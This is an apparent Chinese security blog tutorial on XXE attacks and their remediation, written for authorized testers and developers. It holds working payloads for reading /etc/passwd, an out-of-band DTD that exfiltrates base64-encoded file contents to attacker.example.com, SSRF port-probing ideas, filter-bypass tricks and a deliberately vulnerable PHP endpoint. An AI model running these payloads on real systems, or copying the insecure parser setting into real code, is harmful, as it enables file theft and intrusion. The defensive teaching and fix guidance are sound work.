做授权渗透测试时，我有个习惯：只要接口里出现了XML字样，不管它带不带XXE三个字母，都会顺手测一下。原因很简单——XXE漏洞不是那种需要复杂业务逻辑才能触发的洞，它往往是一个解析器默认配置就坑了一个系统的洞。从一个看起来人畜无害的报名表单、订单查询、第三方回调，到最后变成任意文件读取甚至内网跳板，整个链条可能只差一个Payload。
这篇文章是XXE实战的下半篇。上一篇已经把XML实体、内部实体、外部实体这些概念盘过一遍了，这里不再从头背概念，而是直接进战场：如何判断目标有没有解析XML，如何构造不触发拦截的Payload，怎么在有回显和没回显两种情况下拿数据，以及最后怎么修。适合正在做授权测试的人，也适合写接口的研发同学——你不需要成为黑客，但至少要清楚自己写的代码在什么配置下会变成突破口。
1. 为什么XML解析会成为突破口
1.1 从实体加载机制说起
很多开发同学会问：我的程序只是接收了一个XML字符串，把它转成对象，怎么就能被读服务器上的敏感文件呢？问题不在于XML本身，而在于“解析”这两个字。XML标准允许通过DOCTYPE声明定义实体，而实体又分为内部实体和外部实体。内部实体就是一段字符串替换，例如<!ENTITY name "value">；外部实体则引用了一个外部的资源：可以是本地文件、URL，也可以是网络上任意一个HTTP接口。解析器在处理外部实体时，会主动去获取这个资源，并把内容嵌入到XML文档中。
把实体加载理解成“懒加载”就好办了。你告诉解析器：有个东西叫payload，它的内容在file:///etc/passwd里。解析器不会怀疑你，不会校验协议，也不会确认路径，它只会忠实地把文件内容读进来。如果后续程序把这个内容放在响应里，就形成任意文件读取；如果放在请求里，就变成SSRF。XXE本质上是“外部实体加载未受限”，严格说是两部分：一是解析器允许加载外部实体，二是程序没有对参与点做白名单校验。两者只要同时成立，漏洞就变成了一个通用通道。
1.2 实战中最高危的三种入口
理论上任何解析XML的地方都可能中招，但实战中高危入口比较集中，我总结为三类：
第一种是文件导入类。典型场景是OA系统里的Excel导入、报表工具的数据交换、旧系统导出的XML文件直接丢给后端处理。界面看起来是Excel，底层却把文件内容转成XML再解析，攻击者只要把文件内容改掉，就能控制解析器的行为。
第二种是接口调用类。SOAP、WebService，以及REST接口里请求体直接是XML的场景。尤其是一些为了兼容老系统而保留的接口，可能已经上线七八年，用的还是老版本解析库，很容易中招。
第三种是数据交换类。订单系统接收供应商的XML报文、即时通讯软件订阅RSS、支付回调里又套了一层XML，都属于这一类。这类入口的开发者往往认为“XML来自可信第三方”，没有统一过滤，结果第三方一旦被打穿，这些XML就变成了攻击载荷的载体。
1.3 需要补课的基础：DTD与Entity
既然要实战，几个基础术语必须分清，否则看Payload会一头雾水。DTD是Document Type Definition，写在XML最前面的DOCTYPE里。Entity则是在DTD中声明的一种“宏”，一个实体代表一段字符串。真正制造漏洞的关键是外部实体声明：
<!DOCTYPE order [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>这里的SYSTEM表示外部资源，后面跟URL。如果解析器支持外部实体解析，那么&xxe;会被替换成文件内容。另外还有参数实体，写法是<!ENTITY % file SYSTEM "file:///etc/passwd">，后面用%file;调用，常用于构造二次加载。实战中很多Payload是外部实体与参数实体组合出来的，先把这个关系弄清楚，后面看代码才不会懵。
2. 搭建实验靶场与快速判断解析方式
2.1 一个贴近线上的订单查询接口
先别急着拿别人的站点练手，翻车风险太大。我自己习惯在本地起一个模拟订单查询服务，用Docker就能完整体验漏洞触发过程。假设这样一个接口：POST /order/query，接收XML请求体，查询订单信息后返回。
实验环境里故意用了一个低版本风格的PHP解析配置，让外部实体加载变成可能：
<?php // order.php - 模拟订单接口，仅用于本地授权测试 $data = file_get_contents("php://input"); $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); $orderId = (string)$xml->orderId; // 业务处理... header("Content-Type: text/xml; charset=utf-8"); echo "<order><orderId>$orderId</orderId><status>已发货</status></order>";关键就在LIBXML_NOENT这个参数，它允许实体替换。很多老项目会把外部实体加载当作默认行为，代码里根本不会写这个参数，而是解析库的默认配置就没关。设成这个参数只是为了在本地复现“老系统默认配置”下的真实效果。如果你用的是现代版本，解析器默认可能已经禁止外部实体，实验时需要用参数显式打开。
2.2 三条指令确认“这次真的解析XML”
拿到一个不确定的入口后，不要立刻上复杂Payload。先确认它是否真的解析XML。我一般按下面三步走。
第一步，发一个标准XML，看响应是否正常。比如请求体为<order><orderId>1</orderId></order>，如果返回订单信息，说明后端把它当XML解析了。第二步，发一个带内部实体的XML，自定义实体&submit;，如果在响应里能回显，就说明实体替换生效。第三步，发一个外部实体声明，指向自己可控的地址，观察是否能收到请求。三步都过了，基本可以断定这个地方具备XXE条件。
第二步的Payload长这样：
<?xml version="1.0"?> <!DOCTYPE order [ <!ENTITY test "HELLO-XXE"> ]> <order><orderId>&test;</orderId></order>如果响应里的orderId变成HELLO-XXE，说明内部实体生效。但重点来了，内部实体生效只能证明DTD解析正常，不能直接证明外部实体可用，所以第三步才是关键。
2.3 工具准备与流量观察
实战中我习惯用Burp Suite，因为可以直接重放请求、修改请求头、看响应。不过工具不是关键，关键是你能不能确认“外部资源是否真的被请求”。最简单的方式是在本机起一个监听端口，比如用Python临时起一个HTTP服务：
python3 -m http.server 8899然后构造一个外部实体指向http://127.0.0.1:8899/xxe。如果监听端口的访问日志里出现对应路径，说明外部实体已被触发。
需要提醒的是，即使是在授权测试中，也要控制影响范围。不要真的去读生产环境里的敏感文件，更不要大规模探测内网。一旦触发了外部请求，记录好时间和请求内容，测试结束后核对清理。安全测试的目的是发现和修复，而不是为了证明“我能打过”。
3. 经典利用链：读文件、探内网、捞数据
3.1 有回显场景：直接文件读取
确认外部实体可用后，最直接的就是文件读取。把上一步的Payload改一下：
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE order [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <order><orderId>&xxe;</orderId></order>如果目标系统是Linux，响应中的orderId会变成/etc/passwd的内容。如果目标环境是Windows，可以试试file:///C:/Windows/win.ini。
这里要注意：XML实体中不能直接处理二进制文件，遇到非UTF-8编码或带特殊字符的文件，解析器很可能报错。所以实战中更常用的是读取源码和配置文件，因为它们通常都是文本。我实际测试中最常试的三个目标是：/etc/passwd、应用自身的配置文件、代码文件。读到配置文件的数据库账号密码，往往能直接拿到进一步权限。
3.2 无回显场景：外带数据通道
很多接口虽然解析XML，但不会把实体内容反射到响应里，比如只返回“提交成功”。这时需要把数据外带。原理是：让XML文档把要读取的文件内容作为URL的一部分，再请求到外部服务器上，这样目标服务器会带着文件内容请求我们的监听地址。
经典组合是参数实体嵌套，分两步。先在自己可控的服务器上放一个DTD文件，比如命名为xxe.dtd，内容如下：
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example.com/?data=%file;'>"> %eval; %exfil;然后请求Payload构造如下：
<!DOCTYPE order [ <!ENTITY % remote SYSTEM "http://attacker.example.com/xxe.dtd"> %remote; ]> <order><orderId>1</orderId></order>为什么要把文件内容做Base64编码？因为%file;在被替换后可能包含换行、斜杠等特殊字符，直接拼到URL里会被截断或报错。通过convert.base64-encode，文件内容变成纯字符串，就能安全地放进URL参数了。eval和exfil两个参数实体嵌套，实际效果是动态构造一个新的外部实体，再触发一次请求。
如果监听服务器收到请求，data参数里就是Base64编码后的文件内容，解码即可。这种方式只适用于目标能访问外部网络的场景；如果目标隔离了外网，只能退而求其次用报错回显或时间盲注。
3.3 把SSRF用到内网端口探测
文件读取只是XXE的一个方向，另一个常见利用是SSRF。外部实体加载支持的协议不止file，还包括http、gopher等。把实体指向内网地址，就能让目标服务器去访问它本来不能访问的机器。最典型的是探测内网端口：构造http://192.168.1.10:8080/，然后观察响应时间、状态码或内容差异。
比如有回显场景，返回的内容会因为端口开放与否而变化；无回显场景，可以配合请求是否触发错误来推断。如果目标是云环境，还可以尝试云厂商的元数据地址，但这里不展开，因为具体返回内容因厂商而异。总的指导思想是：用实体加载把应用当作跳板，把边界变成内网入口。
实际测试中我会把端口探测做成自动化：一个个生成XML，发到目标，通过响应时间和内容判断端口状态。但注意，这已经属于内网探测行为，必须确认在授权范围内。如果只是常规测试，选3到5个常用端口验证即可，不要无限扩大。
4. 绕过与检测：真实环境没那么顺利
4.1 常见过滤思路与编码绕过
很多开发人员都知道XXE危险，所以会加一些过滤，比如检查请求体里有没有DOCTYPE、ENTITY、SYSTEM这些关键词。看起来挺有效，但解析器处理的是解码后的数据，过滤往往发生在原始字节层面。最常见的绕过是编码转换：把XML编码改成UTF-16，服务器按UTF-16解码时，过滤规则如果用UTF-8匹配就失效了。
还有一种是利用DTD内部子集和参数实体拼接，更适合绕过对“外部实体”的直接检测。比如把SYSTEM拆成字符串拼接，在DTD里用实体拼接得到完整的SYSTEM。因为过滤的往往是静态字符串，拼接后的结果在请求里看不到完整的危险关键字。
更隐蔽的方法是利用XInclude，它能在不修改主XML的前提下加载外部文件，很多XXE过滤器没有考虑到。XInclude的Payload需要声明命名空间，然后通过xi:include访问文件。这类手法主要用于过滤严格的系统，但很多普通代码的解析器并不支持XInclude，所以能不能用要看环境。
我的经验是：先判断过滤点在网关层还是应用层。网关层通常只做黑名单，编码绕过容易成功；应用层如果自己写了正则，思路也类似。如果直接把XML解析后再检查，就没有绕过的必要，但这种场景极少。
4.2 无回显下的盲注技巧
前面提到的OOB外带是首选方案，但有些环境连外网都出不去，DNS外带也不通。此时可以试试基于错误的回显，也就是报错型XXE。让解析器在处理外部实体时抛出包含文件内容的错误，错误消息被返回给客户端。
思路和SQL注入里的报错注入类似。在XML里构造一个不存在的实体，把文件内容拼写到错误消息里。但前提是解析器能返回错误详情，很多生产接口会屏蔽错误信息，所以成功率不稳定。备选还有时间盲注，通过类似file:///proc这种路径让解析器阻塞，观察响应延迟，但只能做存在性判断，信息提取效率极低。
我做无回显测试时，优先级是：先试OOB外带，再看错误回显，最后才考虑时间盲注。如果前两者都不可用，就不要硬挖，把风险点记录下来转人工评估更合理。
4.3 从日志、流量中识别XXE攻击
防守方视角也很重要。如果我是蓝队，怎么从流量里发现XXE扫描？最典型的是大量POST请求中，XML正文里出现DOCTYPE和SYSTEM。即使攻击者做了编码绕过，流量里也会出现异常编码的XML，比如UTF-16的报文通常有大量00字节，和普通JSON接口的流量风格明显不同。
其次看URL路径。突然出现/order/query、/xmlrpc、/soap这类接口，且请求体是text/xml，就需要重点关注。还有外连行为监控：XXE攻击会从应用服务器向外发起请求，如果发现短时间内有多个目的地址不同的外联请求，特别是file、http、gopher这类协议URI，基本可以判定为疑似XXE。
在拦截日志里做正则匹配，把事件参数中出现<!DOCTYPE和SYSTEM的请求揪出来，可以快速筛出大部分试探行为。更高级的做法是在网关层解析请求体XML树，看是否存在外部实体声明，准确率更高，但性能成本也更高。
5. 修复与纵深防御
5.1 根因修复：解析器参数配置
修复XXE的核心是禁用外部实体，而不是过滤输入。过滤永远跟不上攻击者编码，但只要解析器不加载外部实体，攻击者就无从下手。不同语言有不同的开关，关键在确认默认配置。
这里整理了一张常用配置表：
| 语言/库 | 关键配置 | 说明 |
|---|---|---|
| Java DocumentBuilderFactory | factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); | 直接禁止DOCTYPE声明，最严格 |
| Java XMLInputFactory | XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES = false | 针对StAX |
| PHP libxml | libxml_disable_entity_loader(true); | 老代码需要显式调用，新版默认禁用 |
| Python lxml | etree.XMLParser(resolve_entities=False, no_network=True) | 确保不解析外部实体 |
| C# .NET | XmlReaderSettings.DtdProcessing = Prohibit; | 完全禁止DTD处理 |
配置完一定要写测试用例，把含外部实体的XML提交进去，确认返回里没有文件内容、也没有外部请求产生。第一道修复做到“不加载外部实体”还不够，最好连DOCTYPE都直接拒绝。因为即使禁用外部实体，内部实体巨大展开也会造成Billion Laughs攻击，也就是实体膨胀型拒绝服务。
5.2 上游防御：网关与WAF的取舍
在应用层修复之前，可以先用网关层做应急缓解。WAF能阻止大部分扫描器的Payload，但不能只依赖它做唯一防线。原因是WAF容易被编码绕过，而且在线环境流量大，误拦正常XML接口会导致业务问题。很多WAF的XML策略只检查DOCTYPE，对XInclude等变体覆盖不全。
网关层应该做三件事：一是限制请求体大小，超过阈值直接返回，降低实体膨胀攻击的影响；二是如果业务允许，把请求体格式统一为JSON，从根上减少XML暴露面；三是对明显恶意的XML请求返回快速拒绝状态码，而不是交由业务层处理。
但最关键的是把信任边界划清楚：外部进入的XML，一律按不可信数据对待。不能因为调用方是内部系统就掉以轻心，XXE经常出现在第三方对接接口中。
5.3 自查清单与回归验证
最后给一个落地自查清单，你可以直接拿去做排查：
- 找出所有使用XML解析的接口和包，逐个标注输入源是否外部可控。
- 检查解析器配置，确认外部实体、外部DTD、
DOCTYPE都被关闭。 - 在低层统一封装XML解析方法，而不是每个业务各自
new一个解析器。 - 设置文件上传白名单，禁止直接接收
.xml文件并在服务器侧解析。 - 增加日志记录，覆盖源IP、请求体摘要、是否触发外部请求告警。
回归验证时准备两组用例：一组是正常XML，确认业务不受影响；另一组是包含外部实体和DOCTYPE的恶意XML，确认被拒绝。每次发布前跑一遍，就不会再出现因为新功能误开配置导致漏洞回潮。
我个人的经验是，XXE的可怕不在于利用链有多复杂，而在于开发对XML解析的默认行为缺乏感知。很多系统上线前漏洞扫描都过了，结果运营部门接了个外部报表平台，用了个老库，又把这个坑踩了一遍。所以我做评估时，不只看API，还看框架版本；做修复时，也比预期多花时间写解析层统一配置。如果你正在处理一个历史遗留系统，优先禁用DOCTYPE和外部实体，再考虑其他加固，通常能解决90%的问题。实际测试中踩过的坑，说多了都是泪，但基础配置拿住了，后面就会省很多事。
